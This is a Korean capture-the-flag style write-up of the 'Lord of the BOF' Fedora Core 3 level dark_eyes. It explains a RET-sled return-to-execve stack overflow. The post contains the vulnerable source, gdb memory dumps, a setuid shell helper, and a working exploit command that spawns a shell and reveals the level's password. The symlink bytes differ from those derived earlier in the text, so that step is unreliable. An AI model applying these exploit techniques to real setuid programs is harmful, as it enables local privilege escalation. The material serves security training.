본문 바로가기

Computer Security/WarGame

[BOF원정대/Fedora3] iron_golem -> dark_eyes




/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

dark_eyes.c


이번 문제에서는 fake ebp를 사용못하게 되었습니다.


하지만, execve을 쓰기위해선 ebp 조작이 필요한데, fake ebp말고 다른방법이 하나더 있습니다.

바로 esp를 조작하는 부분입니다.


gate에서는 execl+3 으로 점프하면서 첫 두줄을 실행 안했는데, 그부분을 다시 보자면


 push %ebp

 mov %esp, %ebp


였습니다.


아시겠나요?? 함수가 시작될때 ebp에는 기존의 esp 값을 넣게됩니다.

즉 esp를 조작하면 그값과 같도록 ebp가 설정된다는것을 이용하면 됩니다.


esp를 조작하는방법은 간단합니다.


ret이 실행되면, 스택에서 return address가 저장되었던 부분이 esp가 되면서 리턴이 됩니다.


이 방법을 이용하여, 원하는 esp가 될때까지 계속 ret을 하시면 됩니다.

여기서 말하는 원하는 esp란..


1. esp+8 부터 esp+(8+4n)이 NULL이 나올때까지 랜덤스택이 아닌 주소값을 가르치고 있을 경우.

2. esp+8 에 있는 주소값을 따라갔을때, string으로 잘라내기 쉬운경우.


이 두가지 조건을 만족하는 esp를 찾으면 됩니다.


찾기위해 gdb로 디버깅을 해보겠습니다.


 [iron_golem@Fedora_1stFloor ~]$ gdb -q dark_eyes

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b *main+177

Breakpoint 1 at 0x80484b9

(gdb) r 1

Starting program: /home/iron_golem/dark_eyes 1

(no debugging symbols found)...(no debugging symbols found)...1


Breakpoint 1, 0x080484b9 in main ()

(gdb) x/10x $esp

0xfef470ec:     0x00730e33      0x00000002      0xfef47174      0xfef47180

0xfef470fc:     0x0070eab6      0x0083eff4      0x00000000      0xfef47100

0xfef4710c:     0xfef47148      0xfef470f0

(gdb)



보시면, 0x00730e33이 현재 return address 입니다.


그럼, 이제 esp+8이 될수있는 후보를 찾기위해 0xfef47174부터 쭉 보면 되겠네요.

하지만, 0xfef47174,0xfef47180은 현재 랜덤스택을 가리키고 있으므로 빼겠습니다.


그럼 다음은 0x0070eab6 한번 이 포인터들이 무엇을 가리키고 있는지 보겠습니다.


 (gdb) x/10x 0x0070eab6

0x70eab6 <fixup+150>:   0x83f0558b      0xc18914ec      0xd285c031      0xc9850b74

0x70eac6 <fixup+166>:   0x428b4c74      0x01318b04      0xf8bb8bf0      0x85fffffc

0x70ead6 <fixup+182>:   0x8b0575ff      0x0189e44d


조금 복잡하네요, 스트링으로 잘라내기위해선 좀 많이 길어보입니다.

물론, 억지로 이걸로 할수도 있긴 하지만 다른포인터를 좀더 찾아보겠습니다.


다음차례인 0x0083eff4를 보겠습니다.


(gdb) x/10x 0x83eff4

0x83eff4 <svcauthsw+712>:       0x0083ed3c      0x00730b96      0x00000000      0x00818df0

0x83f004 <svcauthsw+728>:       0x0077f160      0x0077ee70      0x0077f610      0x0077f440

0x83f014 <svcauthsw+744>:       0x00711720      0x0077d430 


0x0083ed3c, null이 보이므로, 스트링으로 끊기 좋아보입니다.

이 포인터를 esp+8로 두겠습니다.

이제 그럼 "\x3c\xed\x83"이 파일명입니다.


그러면, esp를 0xfef47180로 둬야 하겠네요.

즉, 0xfef47180의 자리에다가 execve의 return address를 넣어야합니다.


그 앞부분까지는 ret를 실행하고있는 부분의 address를 넣으면 되구요.


(gdb) x/i $eip

0x80484b9 <main+177>:   ret 


이부분의 address를 사용하면 되겠습니다.


그리고 이제 execve의 주소를 알아보겠습니다.

전에는, execl로 했는데, 이번엔 불가능합니다.

왜냐하면 현재 스택상황을 보면 두번째 argument가 null인데, execl에서는 두번째 argument가 null일경우 segmentation fault가 뜹니다.

그래서, execve를 사용하겠습니다.


(gdb) print execve

$1 = {<text variable, no debug info>} 0x7a5490 <execve>


excel의 주소는 "\x90\x54\x7a\x00" 이 되겠네요.


gate와 마찬가지로 이제 shell.c를 짜겠습니다.


int main()

{

        setreuid(geteuid(),geteuid());

        execl("/bin/sh","",0);


그리고 링크를 걸어줍니다.


[iron_golem@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x3c\x2d\x83"'`


그리고 buf에 얼마만큼 채워야 하는지 봐야 하는데..


굳이 분석할필요없이 사실 소스에 보면 딱 나와있습니다.


sfp부분을 지운다면서 264~267 부분을 지우죠.


그러므로 그냥 gate와 같이 buf의 크기는 264라는것을 알수 있습니다.


이제 공격만 하면 되는데,


구성은


./dark_eyes [A*268][ret*3][execve]


이렇게 공격해주면 되겠네요.


[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x90\x54\x7a\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA˜Pëþ¹¹¹Tz

bash-3.00$ my-pass

euid = 502

because of you 


성공했습니다.